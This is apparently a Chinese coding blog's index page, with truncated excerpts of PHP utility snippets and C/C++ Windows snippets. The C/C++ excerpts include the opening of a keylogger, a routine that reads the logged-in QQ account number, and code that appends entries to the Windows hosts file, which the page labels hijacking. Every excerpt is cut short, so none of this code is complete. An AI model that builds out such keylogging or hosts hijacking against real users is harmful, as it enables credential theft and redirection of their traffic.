PHP常用函数总结

PHP常用函数总结

//PHP设置跨域 header("Access-Control-Allow-Origin:*"); //PHP设置JSON头 以JSON格式输出 header("Content-type:application/json; charset=utf-8"); //正则取字符串 preg_match_all('/字符串(.*?)字符串/i',$data,$out); // PHP把JSON对象转字符串不转码输出 json_encode($results, JSON_UNESCAPED_UNICODE); //PHP设置最大运行时间 0 是永久...

PHP 2020-10-20 PM 2274℃ 0条
PHP简单的Curl的Get请求和Curl的Post请求和file_get_contents的Get请求获取接口JSON数据

PHP简单的Curl的Get请求和Curl的Post请求和file_get_contents的Get请求获取接口JSON数据

PHP携带Cookie用Curl进行Post或Get请求获取数据简单的curl请求(Get请求)<?php function hansCurl($url) { $url="https://www.vvhan.com"; $ip = rand(0, 255) . '.' . rand(0, 255) . '.' . rand(0, 255) . '.' . rand(0, 255); $header[] = "accept: application/json"; $header[] = "accept-encoding: gzip, ...

PHP 2020-10-20 PM 2338℃ 0条
PHP读本地文件指定某行内容

PHP读本地文件指定某行内容

小文件直接2行代码解决<?php $a = file('xxxx.txt'); //读取同目录xxxx.txt文本 echo $a[5];//输入本文档的第6行内容 ?> 如果文件较大,内容较多用以下代码<?php $c = getLine('./a.txt', 10); // 读取a.txt文件第11行内容 echo $c; /** * 获取指定行内容 * * @param $file 文件路径 * @param $line 行数 * @param $length 指定行返回内容长度 */ function getLine($file, $line, $l...

PHP 2020-10-20 PM 2328℃ 0条
PHP保存下载远程文件或图片到本地

PHP保存下载远程文件或图片到本地

<?php $url = "文件地址"; //网络资源的地址 $state = @file_get_contents($url, 0, null, 0, 1); //获取网络资源的字符内容 $filename = rand(0, 123562122) . '.jpg'; //文件名称生成 ob_start(); //打开输出 readfile($url); //输出图片文件 $img = ob_get_contents(); //得到浏览器输出 ob_end_clean(); //清除输出并关闭 $size = strlen($img); //得到图片大小 $f...

PHP 2020-10-20 PM 2552℃ 0条
PHP创建随机图片API

PHP创建随机图片API

实现原理1.使用文本文档存放图片链接2.当用户请求API时,PHP读取TXT文件生成随机数随机选取一个图片链接3.直接使用302重定向到目标图片地址节省服务器宽带创建创建imgurl.txt文件,写入图片地址https://static.9az.ren/static/templates/handsome/v7.3.1/wt/assets/img/sj/1.jpg https://static.9az.ren/static/templates/handsome/v7.3.1/wt/assets/img/sj/2.jpg https://static.9az.ren/static/templ...

PHP 2020-10-20 PM 2259℃ 0条
php中直接输出随机图片的API

php中直接输出随机图片的API

最近应一个博友要求写了个随机图的api,可让php直接在浏览器中输出图片,支持本地文件也支持图片链接,主要功能就类似于那位博友说的网上的漫月api,下面言归正传直接贴上代码吧。index.php(主体程序)<?php error_reporting(E_ERROR); require_once '../include/common.php'; require_once 'lib/imgdata.php'; require_once 'lib/functions.php'; $karnc = new imgdata; if ($_GET['a'] == 'local') { ...

PHP 2020-10-20 PM 2866℃ 0条
c++ 实现文件查找

c++ 实现文件查找

说明System Drive are:C:\D:\Command:FileSearch.exe Drive KeywordExample:FileSearch.exe C:\ docx#include<stdio.h> #include<iostream> //#include "tchar.h" #include<windows.h> #include "tchar.h" void FindFile(char*, char*); int count = 0; char * fname; #define BU...

C/C++ 2020-10-18 AM 2208℃ 0条
c++键盘记录器代码

c++键盘记录器代码

#include <windows.h> #include <Winuser.h> #include <string> #include <fstream> #include <iostream> using namespace std; string GetKey(int Key) // 判断键盘按下什么键 { string KeyString = ""; //判断符号输入 const int KeyPressMask=0x80000000; //键盘掩码常量 int iShift=...

C/C++ 2020-10-18 AM 2316℃ 0条
C++ 获取当前QQ号

C++ 获取当前QQ号

通过类名1.1 通过qqexchangewnd_shortcut_prefix_123456789类名得到qqexchangewnd_shortcut_prefix_123456789这样的字符串123456789就是正在登录的qq的号如果同时登录几个QQ,只能获取最晚登录的q号#include "stdafx.h" #include <stdio.h> #include <string.h> #include <windows.h> // 得到qqexchangewnd_shortcut_prefix_123456789这样的字符...

C/C++ 2020-10-17 PM 2428℃ 0条
c++ 根据进程ID结束进程

c++ 根据进程ID结束进程

#include <iostream> #include <windows.h> void KillProcessById(DWORD pid) { HANDLE hnd; hnd = OpenProcess(SYNCHRONIZE | PROCESS_TERMINATE, TRUE, pid); TerminateProcess(hnd, 0); } int main() { using namespace std; DWORD pid = GetCurrentProcessId(); KillProcess...

C/C++ 2020-10-17 AM 2314℃ 0条
C语言进行hosts文件劫持

C语言进行hosts文件劫持

#include <iostream> #include <fstream> #include <string> #include <Windows.h> #include <stdio.h> using namespace std; int main() { FILE *f = fopen("C:\\Windows\\System32\\drivers\\etc\\hosts", "a"); char *url = "\n127.0.0.1 ...

C/C++ 2020-10-16 PM 2741℃ 0条